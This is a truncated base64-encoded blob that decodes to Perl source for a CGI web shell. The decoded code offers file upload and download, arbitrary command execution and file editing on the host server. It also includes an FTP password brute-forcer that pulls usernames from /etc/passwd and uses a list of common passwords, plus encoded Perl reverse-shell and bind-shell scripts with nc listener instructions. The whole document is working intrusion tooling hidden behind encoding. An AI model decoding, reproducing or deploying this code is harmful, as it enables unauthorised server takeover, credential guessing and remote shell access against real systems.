JZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMl